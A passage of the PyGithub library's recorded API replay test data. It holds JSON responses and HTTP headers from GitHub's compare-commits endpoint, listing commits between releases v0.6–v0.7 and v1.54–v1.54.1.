Jacques","date":"2012-05-25T05:10:54-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/59d755d95bc2e2de4dcef70a7c73e81e677f610b","sha":"59d755d95bc2e2de4dcef70a7c73e81e677f610b"}}},{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"cb0313157bf904f2d364377d35d9397b269547a5","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495","sha":"4303c5b90e2216d927155e9609436ccb8984c495"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:04:22-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/cb0313157bf904f2d364377d35d9397b269547a5","message":"Merge branch 'topic/Authentication' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:04:22-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/59d755d95bc2e2de4dcef70a7c73e81e677f610b","sha":"59d755d95bc2e2de4dcef70a7c73e81e677f610b"}}},{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","sha":"cb0313157bf904f2d364377d35d9397b269547a5"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:13:33-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","message":"Publish version 0.7","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:13:33-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/78735573611521bb3ade95921c668097e2a4dc5e","sha":"78735573611521bb3ade95921c668097e2a4dc5e"}}},{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495","sha":"4303c5b90e2216d927155e9609436ccb8984c495"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:14:34-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","message":"Merge branch 'develop'","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T10:14:34-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/78735573611521bb3ade95921c668097e2a4dc5e","sha":"78735573611521bb3ade95921c668097e2a4dc5e"}}}],"html_url":"https://github.com/PyGithub/PyGithub/compare/v0.6...v0.7"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCompareCommitPagination.txt0000644000175100001660000115044714756101563026562 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 24 Jan 2024 06:45:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"9ae1c35715c1b3c319fe579abed57aeaf53d949c1844bf95f830004c1eba31ec"'), ('Last-Modified', 'Tue, 23 Jan 2024 10:05:32 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'metadata=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4964'), ('X-RateLimit-Reset', '1706081414'), ('X-RateLimit-Used', '36'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B642:56C8A:21B64A9:222AA91:65B0B209')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-23T10:05:32Z","pushed_at":"2024-01-23T19:27:16Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15541,"stargazers_count":6497,"watchers_count":6497,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1718,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":282,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1718,"open_issues":282,"watchers":6497,"default_branch":"main","permissions":{"admin":false,"maintain":false,"push":true,"triage":true,"pull":true},"custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1718,"subscribers_count":111} https GET api.github.com None /repos/PyGithub/PyGithub/compare/v1.54...v1.54.1?page=1&per_page=4 {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 24 Jan 2024 06:45:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b22a1a1b4fe01543dfca61320cdf0ef99ae3b6ef93399b829e93b855dddc86c0"'), ('Last-Modified', 'Thu, 24 Dec 2020 04:11:01 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="last", ; rel="next", ; rel="first"'), ('x-accepted-github-permissions', 'contents=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4963'), ('X-RateLimit-Reset', '1706081414'), ('X-RateLimit-Used', '37'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B648:2146CD:1F05D5A:1F79C09:65B0B209')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/compare/v1.54...v1.54.1","html_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1","permalink_url":"https://github.com/PyGithub/PyGithub/compare/PyGithub:951fcdf...PyGithub:34d097c","diff_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1.diff","patch_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1.patch","base_commit":{"sha":"951fcdf23f8c657b525dee78086bc4dfd42ef810","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo5NTFmY2RmMjNmOGM2NTdiNTI1ZGVlNzgwODZiYzRkZmQ0MmVmODEw","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"message":"Publish version 1.54","tree":{"sha":"1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","html_url":"https://github.com/PyGithub/PyGithub/commit/951fcdf23f8c657b525dee78086bc4dfd42ef810","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d501b286e04f324bc87532003f0564624981ecb","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6d501b286e04f324bc87532003f0564624981ecb","html_url":"https://github.com/PyGithub/PyGithub/commit/6d501b286e04f324bc87532003f0564624981ecb"}]},"merge_base_commit":{"sha":"951fcdf23f8c657b525dee78086bc4dfd42ef810","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo5NTFmY2RmMjNmOGM2NTdiNTI1ZGVlNzgwODZiYzRkZmQ0MmVmODEw","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"message":"Publish version 1.54","tree":{"sha":"1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","html_url":"https://github.com/PyGithub/PyGithub/commit/951fcdf23f8c657b525dee78086bc4dfd42ef810","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d501b286e04f324bc87532003f0564624981ecb","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6d501b286e04f324bc87532003f0564624981ecb","html_url":"https://github.com/PyGithub/PyGithub/commit/6d501b286e04f324bc87532003f0564624981ecb"}]},"status":"ahead","ahead_by":10,"behind_by":0,"total_commits":10,"commits":[{"sha":"fab682a5ccfc275c31ec37f1f541254c7bd780f3","node_id":"MDY6Q29tbWl0MzU0NDQ5MDpmYWI2ODJhNWNjZmMyNzVjMzFlYzM3ZjFmNTQxMjU0YzdiZDc4MGYz","commit":{"author":{"name":"Pascal Hofmann","email":"mail@pascalhofmann.de","date":"2020-11-30T07:53:59Z"},"committer":{"name":"Pascal Hofmann","email":"mail@pascalhofmann.de","date":"2020-11-30T07:53:59Z"},"message":"Fix stubs file for Repository","tree":{"sha":"33a9a785fd98dc79d1033ef2e49f30e2282246f0","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/33a9a785fd98dc79d1033ef2e49f30e2282246f0"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/fab682a5ccfc275c31ec37f1f541254c7bd780f3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/fab682a5ccfc275c31ec37f1f541254c7bd780f3","html_url":"https://github.com/PyGithub/PyGithub/commit/fab682a5ccfc275c31ec37f1f541254c7bd780f3","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/fab682a5ccfc275c31ec37f1f541254c7bd780f3/comments","author":{"login":"pascal-hofmann","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/pascal-hofmann","html_url":"https://github.com/pascal-hofmann","followers_url":"https://api.github.com/users/pascal-hofmann/followers","following_url":"https://api.github.com/users/pascal-hofmann/following{/other_user}","gists_url":"https://api.github.com/users/pascal-hofmann/gists{/gist_id}","starred_url":"https://api.github.com/users/pascal-hofmann/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pascal-hofmann/subscriptions","organizations_url":"https://api.github.com/users/pascal-hofmann/orgs","repos_url":"https://api.github.com/users/pascal-hofmann/repos","events_url":"https://api.github.com/users/pascal-hofmann/events{/privacy}","received_events_url":"https://api.github.com/users/pascal-hofmann/received_events","type":"User","site_admin":false},"committer":{"login":"pascal-hofmann","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/pascal-hofmann","html_url":"https://github.com/pascal-hofmann","followers_url":"https://api.github.com/users/pascal-hofmann/followers","following_url":"https://api.github.com/users/pascal-hofmann/following{/other_user}","gists_url":"https://api.github.com/users/pascal-hofmann/gists{/gist_id}","starred_url":"https://api.github.com/users/pascal-hofmann/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pascal-hofmann/subscriptions","organizations_url":"https://api.github.com/users/pascal-hofmann/orgs","repos_url":"https://api.github.com/users/pascal-hofmann/repos","events_url":"https://api.github.com/users/pascal-hofmann/events{/privacy}","received_events_url":"https://api.github.com/users/pascal-hofmann/received_events","type":"User","site_admin":false},"parents":[{"sha":"951fcdf23f8c657b525dee78086bc4dfd42ef810","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","html_url":"https://github.com/PyGithub/PyGithub/commit/951fcdf23f8c657b525dee78086bc4dfd42ef810"}]},{"sha":"9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo5ZWUzYWZiMTcxNmM1NTlhMGIzYjQ0ZTA5N2MwNWY0YjE0YWUyYWI4","commit":{"author":{"name":"Pascal Hofmann","email":"mail@pascalhofmann.de","date":"2020-11-30T11:27:48Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-11-30T11:27:48Z"},"message":"Merge pull request #1767 from pascal-hofmann/fix-repository-stubs\n\nFix stubs file for Repository","tree":{"sha":"33a9a785fd98dc79d1033ef2e49f30e2282246f0","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/33a9a785fd98dc79d1033ef2e49f30e2282246f0"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfxNc0CRBK7hj4Ov3rIwAAdHIIAJb9YeSv3LLlSy7Nr4nILkyn\nMqrW9cvtvnqAH81QtuHlEKShsh33hbKmx9On1lxj7VcRBiB/6cLpAEUJowq0A4zt\n341cVH9+0mbmq+eG1c5vE/vTzq5Uu2mUpvjQ89ssyEvkQ/lIvOEBNAWwJSNwQOc0\n1LcGW1OEh+xmK7SxwvPXxE6aXjBgG8wv0WtFxmhlLoDzvwPymf9qM4/eq2UF6TmU\nzMop0xhv7Kkls626P0HN7wklupth8zaOAJO9vtn8m25sZoZ8XRr2KIX9gAV6jCLW\nuV0GFogjfpya9BVCa7Lh5o6m29ruyTgqIok4rPbZA8aDhQImq243PgP1reVinok=\n=Fepr\n-----END PGP SIGNATURE-----\n","payload":"tree 33a9a785fd98dc79d1033ef2e49f30e2282246f0\nparent 951fcdf23f8c657b525dee78086bc4dfd42ef810\nparent fab682a5ccfc275c31ec37f1f541254c7bd780f3\nauthor Pascal Hofmann 1606735668 +0100\ncommitter GitHub 1606735668 +0100\n\nMerge pull request #1767 from pascal-hofmann/fix-repository-stubs\n\nFix stubs file for Repository"}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8","html_url":"https://github.com/PyGithub/PyGithub/commit/9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8/comments","author":{"login":"pascal-hofmann","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/pascal-hofmann","html_url":"https://github.com/pascal-hofmann","followers_url":"https://api.github.com/users/pascal-hofmann/followers","following_url":"https://api.github.com/users/pascal-hofmann/following{/other_user}","gists_url":"https://api.github.com/users/pascal-hofmann/gists{/gist_id}","starred_url":"https://api.github.com/users/pascal-hofmann/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pascal-hofmann/subscriptions","organizations_url":"https://api.github.com/users/pascal-hofmann/orgs","repos_url":"https://api.github.com/users/pascal-hofmann/repos","events_url":"https://api.github.com/users/pascal-hofmann/events{/privacy}","received_events_url":"https://api.github.com/users/pascal-hofmann/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","r